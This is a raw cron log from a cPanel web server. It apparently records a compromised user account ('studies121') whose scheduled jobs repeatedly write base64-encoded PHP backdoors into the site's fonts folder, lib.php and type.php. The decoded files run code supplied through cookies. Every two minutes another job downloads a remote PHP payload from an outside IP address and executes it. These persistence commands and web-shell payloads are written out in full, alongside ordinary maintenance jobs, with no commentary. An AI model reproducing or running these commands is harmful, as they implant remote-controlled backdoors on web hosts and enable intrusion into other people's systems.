Feb 22 16:07:01 ip-184-168-122-23 CROND[21558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:07:01 ip-184-168-122-23 CROND[21559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:07:01 ip-184-168-122-23 CROND[21557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:08:01 ip-184-168-122-23 CROND[21870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:08:01 ip-184-168-122-23 CROND[21872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:08:01 ip-184-168-122-23 CROND[21874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:08:01 ip-184-168-122-23 CROND[21876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:08:01 ip-184-168-122-23 CROND[21873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:09:01 ip-184-168-122-23 CROND[22191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:09:01 ip-184-168-122-23 CROND[22196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:09:01 ip-184-168-122-23 CROND[22198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:09:01 ip-184-168-122-23 CROND[22200]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 16:09:01 ip-184-168-122-23 CROND[22199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:10:01 ip-184-168-122-23 CROND[22551]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 16:10:01 ip-184-168-122-23 CROND[22555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:10:01 ip-184-168-122-23 CROND[22554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:10:01 ip-184-168-122-23 CROND[22558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:10:01 ip-184-168-122-23 CROND[22560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:10:01 ip-184-168-122-23 CROND[22557]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:10:01 ip-184-168-122-23 CROND[22564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:10:01 ip-184-168-122-23 CROND[22566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:11:01 ip-184-168-122-23 CROND[22914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:11:01 ip-184-168-122-23 CROND[22915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:11:01 ip-184-168-122-23 CROND[22917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:11:01 ip-184-168-122-23 CROND[22918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:12:01 ip-184-168-122-23 CROND[23235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:12:01 ip-184-168-122-23 CROND[23237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:12:01 ip-184-168-122-23 CROND[23238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:12:01 ip-184-168-122-23 CROND[23239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:12:01 ip-184-168-122-23 CROND[23240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:13:01 ip-184-168-122-23 CROND[23627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:13:01 ip-184-168-122-23 CROND[23628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:13:01 ip-184-168-122-23 CROND[23632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:13:01 ip-184-168-122-23 CROND[23630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:14:01 ip-184-168-122-23 CROND[23954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:14:01 ip-184-168-122-23 CROND[23957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:14:01 ip-184-168-122-23 CROND[23959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:14:01 ip-184-168-122-23 CROND[23958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:14:01 ip-184-168-122-23 CROND[23956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:15:01 ip-184-168-122-23 CROND[24268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:15:01 ip-184-168-122-23 CROND[24270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:15:01 ip-184-168-122-23 CROND[24271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:15:01 ip-184-168-122-23 CROND[24274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:15:01 ip-184-168-122-23 CROND[24275]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:15:01 ip-184-168-122-23 CROND[24273]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 22 16:15:01 ip-184-168-122-23 CROND[24272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:16:01 ip-184-168-122-23 CROND[24646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:16:01 ip-184-168-122-23 CROND[24648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:16:01 ip-184-168-122-23 CROND[24647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:16:01 ip-184-168-122-23 CROND[24652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:16:01 ip-184-168-122-23 CROND[24651]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 16:16:01 ip-184-168-122-23 CROND[24649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:17:01 ip-184-168-122-23 CROND[24987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:17:01 ip-184-168-122-23 CROND[24985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:17:01 ip-184-168-122-23 CROND[24984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:17:01 ip-184-168-122-23 CROND[24986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:18:01 ip-184-168-122-23 CROND[25403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:18:01 ip-184-168-122-23 CROND[25407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:18:01 ip-184-168-122-23 CROND[25405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:18:01 ip-184-168-122-23 CROND[25408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:18:01 ip-184-168-122-23 CROND[25406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:19:01 ip-184-168-122-23 CROND[25728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
